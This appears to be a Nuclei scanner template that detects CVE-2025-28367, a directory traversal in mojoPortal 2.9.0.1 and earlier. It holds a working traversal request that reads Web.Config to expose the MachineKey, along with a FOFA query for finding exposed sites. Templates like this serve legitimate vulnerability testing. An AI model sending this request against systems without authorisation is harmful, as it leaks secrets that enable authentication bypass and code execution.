id: CVE-2025-28367 info: name: mojoPortal <=2.9.0.1 - Directory Traversal author: DhiyaneshDk severity: medium description: | mojoPortal <=2.9.0.1 is vulnerable to Directory Traversal via BetterImageGallery API Controller - ImageHandler Action. An attacker can exploit this vulnerability to access the Web.Config file and obtain the MachineKey. impact: | Unauthenticated attackers can exploit directory traversal to read the Web.Config file and obtain the MachineKey, potentially leading to authentication bypass and remote code execution. remediation: | Upgrade to mojoPortal version 2.9.0.2 or later that properly validates file paths in the BetterImageGallery API. reference: - https://github.com/i7MEDIA/mojoportal - https://www.0xlanks.me/blog/cve-2025-28367-advisory/ - https://nvd.nist.gov/vuln/detail/CVE-2025-28367 classification: epss-score: 0.12704 epss-percentile: 0.94175 cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N cvss-score: 6.5 cve-id: CVE-2025-28367 cwe-id: CWE-284 metadata: verified: true max-request: 1 fofa-query: app="mojoportal" tags: cve,cve2025,mojoportal,lfi,vkev,vuln http: - method: GET path: - "{{BaseURL}}/api/BetterImageGallery/imagehandler?path=../../../Web.Config" matchers-condition: and matchers: - type: word part: body words: - "" condition: and - type: status status: - 200 # digest: 4a0a00473045022100eefcc4108dd68981b2c86748b9978e8aa1bb20d94f8901b9a352beb0515a091d02206213e6c4e7548783acdf0d4f155e96d7335ffe668ee622f416b608fa71ed1e7e:922c64590222798bb761d5b6d8e72950